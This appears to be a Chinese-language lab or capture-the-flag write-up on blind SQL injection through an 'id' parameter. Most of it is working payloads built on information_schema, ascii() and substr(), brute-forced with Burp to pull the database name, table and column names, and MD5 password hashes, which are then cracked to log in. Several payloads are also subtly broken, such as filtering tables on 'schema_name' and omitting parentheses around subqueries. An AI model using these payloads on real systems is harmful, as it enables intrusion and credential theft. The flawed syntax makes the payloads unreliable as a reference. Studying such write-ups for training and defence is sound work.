拿到题目之后打开网站发现如下界面
本以为是输入框存在注入,结果发现并不是,而是下面一段小字,发现存在id=1的字样
前置知识!!!
1.information_schema.schemata 该表存储了数据库所有数据**库
**名
其中schema_name为数据库的库名存在此表中
2.information_schema.tables该表在存储了数据库中的所有**表
**名
table_schema 为数据库名
table_name为数据表名
table_rows为行的粗略估计
table_length记录表的大小
首先应该判断是否有闭合字符,当输入and 1=1
界面正常,and 1=2
时界面错误,说明无闭合字符,为数字型注入。
因为已经知道数据库为mysql,则接下来爆数据库
一般用到的函数:
. concat(str1,str2,...)——没有分隔符地连接字符串
2. concat_ws(separator,str1,str2,...)——含有分隔符地连接字符串
3. group_concat(str1,str2,...)——连接一个组的所有字符串,并以逗号分隔每一条数据
1. version()——MySQL 版本
2. user()——数据库用户名
3. database()——数据库名
4. @@datadir——数据库路径
5. @@version_compile_os——操作系统版本
database()显示数据库名称,left(a,b)从左侧截取 a 的前 b 位
substr(a,b,c)从 b 位置开始,截取字符串 a 的 c 长度
mid(a,b,c)从位置 b 开始,截取 a 字符串的 c 位
ascii(),将字符转为 ascii 值
and length(database())>5
利用二分法或者burp爆破模块跑出数据库的字段数为10,接下来爆破数据库名称
ascii(substr(database(),1,1))=48
通过burp爆破一般情况下跑48-127,来爆破出数据库名称:stormgroup
ps:导出名称的时候先将1250长字段标红,接下来筛选出高字段,接下来payload的降序一下,这样就是顺序,再导出payload2,这就是字段的ASCII值,之后转换就可以得到字段名称了
1.爆破数据表:先跑出一共几个表
id=1 and (select count (table_name) from information_schema.tables where schema_name=database())=1
2.共两个表,接下来跑表的长度
id=1 and length((select table_name from information_schema.tables where schema_name=database() limit 0,1))=1
ps:这里注意要有两个括号,一个为length()函数自身括号,另一个为包裹查询这整个sql语句
3.两个表长度都为6,接下来爆表名
id=1 and ascii(substr(select table_name from information_schema.tables where schema_name=database() limit 0,1),1,1)=1
ps id=1 and ascii(substr(select table_name from information_schema.tables where schema_name=database() limit 0,1),1
,1)=48
用burp跑这两个字段 下面同理
得到表名为**member
和notice
**
1.跑出每个表中有几个字段
(select count(column_name) from information_schema.columns where table_name='member')=1
得出第一张表有3个字段,第二章表有4个字段。
length((select column_name from information_schema.columns where table_name="member" limit 0,1))=1
得到member三个字段的长度分别为**4 8 6
而notice字段的长度分别为2 5 7 4
**
2.接下来字段名称
ascii(substr((select column_name from information_schema.columns where table_name="member" limit 0,1), 1,1))
得到member字段分别为name, password, status, 而notice字段分别为id, title,
3.同导出数据库名称一样越burp跑出共7个字段名
得到**member
字段为name, password, status,
** 而**notice
字段分别为id, title, content, time
**
4.判断password字段数,因为一般mysql都为md5加密,会很长,当然也可以在跑字段的时候password设置的长度大一点
length((select password from member limit 1,1))>5
之后爆破**name
和password
**字段
name都是mozhe,但password为32位md5值,共两个数据,跑出md5后转换一下,得到用户名与密码,进行最开始的登录界面,第一组用户显示被进禁止,第二组可以进入,并得到最后key值,key值为动态的,需要自己破解跑哦。